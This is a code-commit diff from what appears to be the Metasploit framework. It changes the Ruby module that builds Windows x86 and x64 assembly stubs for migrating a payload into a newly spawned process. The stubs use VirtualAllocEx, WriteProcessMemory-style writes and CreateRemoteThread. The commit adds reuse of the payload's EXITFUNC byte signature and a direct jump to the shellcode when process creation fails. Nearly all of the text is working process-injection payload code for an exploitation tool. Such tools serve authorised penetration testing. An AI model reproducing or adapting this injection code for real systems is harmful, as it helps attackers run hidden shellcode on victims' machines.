Skip to content

Commit d9e1653

Browse files
committed
Use EXITFUNC if present to save space and be more correct.
Jump straight to payload on process failure to save space.
1 parent 75fe7e8 commit d9e1653

File tree

1 file changed

+41
-15
lines changed

1 file changed

+41
-15
lines changed

lib/msf/core/payload/windows/prepend_migrate.rb

Lines changed: 41 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -147,6 +147,23 @@ def prepend_migrate(buf)
147147
jmp.i8 next_mod ; Process this module
148148
;--------------------------------------------------------------------------------------
149149
EOS
150+
151+
# Prepare default exit block (sleep for a long long time)
152+
exitblock = <<-EOS
153+
;sleep
154+
push -1
155+
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
156+
call ebp ; Sleep( ... );
157+
EOS
158+
159+
# Check to see if we can find exitfunc in the payload
160+
exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" +
161+
"\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5")
162+
if exitfunc_index
163+
exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
164+
exitblock = "exitblock:\njmp $+#{exitblock_offset}"
165+
end
166+
150167
block_api_ebp_asm = <<-EOS
151168
pop ebp ; Pop off the address of 'api_call' for calling later.
152169
EOS
@@ -213,9 +230,7 @@ def prepend_migrate(buf)
213230
214231
; if we didn't get a new process, use this one
215232
test eax,eax
216-
jnz goodProcess ; Skip this next block if we got a new process
217-
dec eax
218-
mov [edi], eax ; handle = NtCurrentProcess()
233+
jz payload ; If process creation failed, jump to shellcode
219234
220235
goodProcess:
221236
; allocate memory in the process (VirtualAllocEx())
@@ -254,10 +269,7 @@ def prepend_migrate(buf)
254269
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
255270
call ebp ; CreateRemoteThread( ...);
256271
257-
;sleep
258-
push -1
259-
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
260-
call ebp ; Sleep( ... );
272+
#{exitblock} ; jmp to exitfunc or long sleep
261273
262274
getcommand:
263275
call gotcommand
@@ -266,6 +278,7 @@ def prepend_migrate(buf)
266278
#{block_close_to_payload}
267279
begin_of_payload:
268280
call begin_of_payload_return
281+
payload:
269282
EOS
270283
migrate_asm
271284
end
@@ -369,6 +382,24 @@ def prepend_migrate_64(buf)
369382
mov rdx, [rdx] ; Get the next module
370383
jmp next_mod ; Process this module
371384
EOS
385+
386+
# Prepare default exit block (sleep for a long long time)
387+
exitblock = <<-EOS
388+
;sleep
389+
xor rcx,rcx
390+
dec rcx ; rcx = -1
391+
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
392+
call rbp ; Sleep( ... );
393+
EOS
394+
395+
# Check to see if we can find x64 exitfunc in the payload
396+
exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" +
397+
"\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5")
398+
if exitfunc_index
399+
exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
400+
exitblock = "exitblock:\njmp $+#{exitblock_offset}"
401+
end
402+
372403
block_api_rbp_asm = <<-EOS
373404
pop rbp ; Pop off the address of 'api_call' for calling later.
374405
EOS
@@ -432,9 +463,7 @@ def prepend_migrate_64(buf)
432463
433464
; if we didn't get a new process, use this one
434465
test rax,rax
435-
jnz goodProcess ; Skip this next block if we got a new process
436-
dec rax
437-
mov [rdi], rax ; handle = NtCurrentProcess()
466+
jz payload ; If process creation failed, jump to shellcode
438467
439468
goodProcess:
440469
; allocate memory in the process (VirtualAllocEx())
@@ -473,11 +502,7 @@ def prepend_migrate_64(buf)
473502
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
474503
call rbp ; CreateRemoteThread( ...);
475504
476-
;sleep
477-
xor rcx,rcx
478-
dec rcx ; rcx = -1
479-
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
480-
call rbp ; Sleep( ... );
505+
#{exitblock} ; jmp to exitfunc or long sleep
481506
482507
getcommand:
483508
call gotcommand
@@ -486,6 +511,7 @@ def prepend_migrate_64(buf)
486511
#{block_close_to_payload}
487512
begin_of_payload:
488513
call begin_of_payload_return
514+
payload:
489515
EOS
490516
migrate_asm
491517
end

0 commit comments

Comments
 (0)